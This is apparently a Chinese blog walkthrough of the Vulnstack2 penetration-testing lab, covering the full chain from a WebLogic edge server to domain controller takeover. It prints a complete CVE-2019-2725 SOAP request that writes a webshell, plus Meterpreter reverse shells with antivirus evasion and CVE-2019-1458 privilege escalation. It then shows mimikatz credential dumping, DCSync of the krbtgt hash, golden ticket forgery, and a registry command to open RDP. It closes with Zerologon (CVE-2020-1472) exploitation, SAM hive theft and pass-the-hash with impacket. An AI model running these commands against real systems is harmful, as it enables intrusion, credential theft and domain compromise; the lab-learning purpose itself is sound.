ShokaX

Vlunsatck2

发布于 字数统计 12.6k 字 阅读时长 43 分钟

Vlunsatck2

发布于 字数统计 12,610 阅读时长 64 分钟

环境搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
前置操作
在这里插入图片描述访问192.168.147.80

/console进行加载配置
至此环境搭好了

拿下边界服务器

第一步信息收集,nmap开扫,发现存在weblogic服务
在这里插入图片描述上weblogicscan,发现漏洞cve-2019-2725

在这里插入图片描述利用cve-2019-2725进行webshell上传,上传后webshell路径为
http://192.168.147.80:7001/bea_wls_interna/webshell.jsp
值的注意的是,这里要用POST方式,且HTTP头中需要有content-type: text/xml。否则会爆500错误

payload:


POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.147.80:7001
Content-Length: 3260
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[
复制Webshell到此处
]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

上传哥斯拉webshell,获取webshell后,联动msf使用了哥斯拉自带的java回弹shell发现没有getsystem等命令,从万能的百度中得出答案很可能是载荷问题,这里用的是哥斯拉自带的的set payload java/meterpreter/reverse_tcp,为了避免出现更多的其他问题,这里新生成windows/x64/meterpreter/reverse_tcp的载荷,做个分离免杀,上传到目标机器,并通过哥斯拉的虚拟终端执行,成功获得回弹shell。

在这里插入图片描述在这里插入图片描述

域渗透

这里使用了两种不同的方法来获取域控

通过伪造黄金票据获取域控

首先,需要明白伪造金票的前提:

  1. 域名称
  2. 域的SID值 #通过whoami /user 去掉最后横线的数字剩下的就是SID
  3. 域的KRBTGT账户NTLM-HASH(只有在域控中,或者是域内Client中才能导出krbtgt用户的hash)
  4. 伪造的用户名,可以是任意用户名

这里加载kiwi模块来读取web服务器中的账号密码(mimikatz已更新为kiwi)

load mimikatz #或者use kiwi也行,效果是一样的

在这里插入图片描述

弯路

(因为第一次使用kiwi,看网上说要在system权限下才能用,结果后来发现,system下有些模块没法用,就比如dcsync模块和kiwi 调用mimikatz读取kerbtgthash的命令就没法用,而在Administrator权限下则能正常使用。当然,读取密码等命令就需要在system下才能用。而这里就是踩坑的记录,不想看可跳转至直路)
因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。

手动提权

因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。
将session放到后台,使用local_exploit_suggester查询可用的exp

background
use local_exploit_suggester
show options
set  session 4
run

在这里插入图片描述

从返回结果中发现有很多提权的漏洞能使用,这里用个最新的cve-2019-1458,成功返回一个新的shell给我们,并且是system,接着就是读密码了

use exploir/windows/local/cve_2019_1458_wizardopium
show options 
set session 4
set lport 5555#图有点问题,这里4444已经被占用了,因此要改成其他端口。当然不改也行,但是好像会顶掉前面的msf shell。我这里就没改
run

在这里插入图片描述
在这里插入图片描述

加载kiwi模块读取密码明文

use kiwi
#使用help kiwi可以查看有什么命令
creds_all

在这里插入图片描述

在这里插入图片描述

成功获取域控密码。但这里主题是伪造票据,因此我们还不能结束。

读取krbtgt哈希

这里直接使用kiwi_cmd 调用mimikratz抓krbtgt 哈希出现问题,分析发现执行时,会把空格后的当作新命令,而不是参数。如图

在这里插入图片描述

百度一波,没找到原因(万能的百度倒下了)。打开小飞机,google得出解决办法:使用转义符号\转义双引号即可。
但又出现了新的问题,报出错误码8439,只能继续google,无果。后来知道这是因为system权限的原因。

在这里插入图片描述

只好上传mikiratz到目标机器上操作。(这里是通过3389操作的,使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 来打开3389端口,然后使用前面获取到的密码来登录)

成功获取制作票据的所有条件

lsadump::dcsync /domain:hacker.com /user:krbtgt

在这里插入图片描述

直路

我们的msfshell当前权限直接就是Administrator
一条命令完事,成功获取所有前提

use kiwi
dcsync de1ay\\krbtgt#第一个\是转义符号

在这里插入图片描述

伪造金票

总结我们获取的数据:

.com
krbtgt hash

SID

使用kiwi的金票伪造,在本地目录中可以找到票据。

生成票据

golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u Administrator -t //usr//mytool//888.ticket

在这里插入图片描述

向需要提权的计算机导入票据

这里以w7做实验对象。先给w7上传一个msf马,然后连接。

kerberos_ticket_use /usr/mytool/888.ticket

在这里插入图片描述

分别是导入前后的效果。成功访问,之前没权限访问的资源。
在这里插入图片描述

通过域内提权漏洞获取域控

上述操作的前提是受控计算机有Administrator权限,但现实中往往没那么顺利,比如域管如果没登录过这台机器,那我们上述操作就死在第一步了。于是回到最初,假设我们无法通过该机器获取域管账号及权限的前提来重新打一波。

这里从获取webshell及给w2003server上传msf 马并获取shell开始。

前提:假设已经获取了w2003的权限并且开启了3389,但是w2003无法获取域管账号及权限。

上传nmap到目标计算机进行内网扫描。

在这里插入图片描述

在这里插入图片描述

没发现有其他web或者数据库服务,只有135、139、445等端口,但又不想用ms17-010来操作。

突然想试试前阵子新出的漏洞CVE-2020-1472。
同时上传ew+frp到目标机器上准备做内网穿透(内网穿透详情看之前写的vulnstack1)

CVE-2020-1472

原理:略
作用:可利用该漏洞将域控的计算机的机器账号密码置为控(!!这里置空的不是用户账号),从而控制域控服务器

这里用到的exp有
1.https://github.com/dirkjanm/CVE-2020-1472中的cve-2020-1472-exploit.py(不知道是我操作问题还是还原密码脚本问题,死活还原不了,所以找了另一个大佬写的还原exp来用)
2.https://github.com/risksense/zerologon中的reinstall_original_pw.py(问题同上,置空一直失败)
3.impacket工具包

复现过程

查看机器账号

从这里得知机器账号为DC 也叫netbios名,加上$就是机器名(主机名)。而cve-2020-1472置空的就是这个机器账号的密码

net view
#使用命令 net group "Domain Controllers" /domain 更好
#通过ping 域名就能得到域控的ip

在这里插入图片描述

使用攻击脚本置空密码

proxychains python3 /home/momo/桌面/cve/CVE-2020-1472-master/cve-2020-1472-exploit.py DC 10.10.10.10

在这里插入图片描述

使用空密码登录并导出域控中密码的hash

这里是使用计算机机器帐户及其哈希进行身份验证然后从NTDS.DIT文件中远程dump域内所有密码哈希。
可见机器密码为空
这里\是转义符;hash值31d6cfe0d16ae931b73c59d7e0c089c0代表空

proxychains python3 secretsdump.py de1ay.com/DC\$@10.10.10.10 -no-pass

在这里插入图片描述

利用域管账号的hash进行连接

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10

在这里插入图片描述

下载目标的sam文件为下一步恢复机器密码做准备

SAM文件即账号密码数据库文件
(可能sam中的密码是在重启之后才会更新的?不然没法解释为什么还能找到原密码)
在wmi shell下执行下述命令,下载的SAM文件可在impacket的目录下的examples中找到

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save
exit

在这里插入图片描述
在这里插入图片描述

破解sam文件查看过去的机器密码

proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

恢复原密码

使用还原exp来还原密码

proxychains python3 /home/momo/桌面/cve/zerologon-master/reinstall_original_pw.py DC 10.10.10.10 76c7e90351db186f6bb846e57b03652f

在这里插入图片描述
在这里插入图片描述

至此,利用结束。此后我们就可以利用前面的域管hash来操控域控了。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee

de1ay.com/Administrator@10.10.10.10

在这里插入图片描述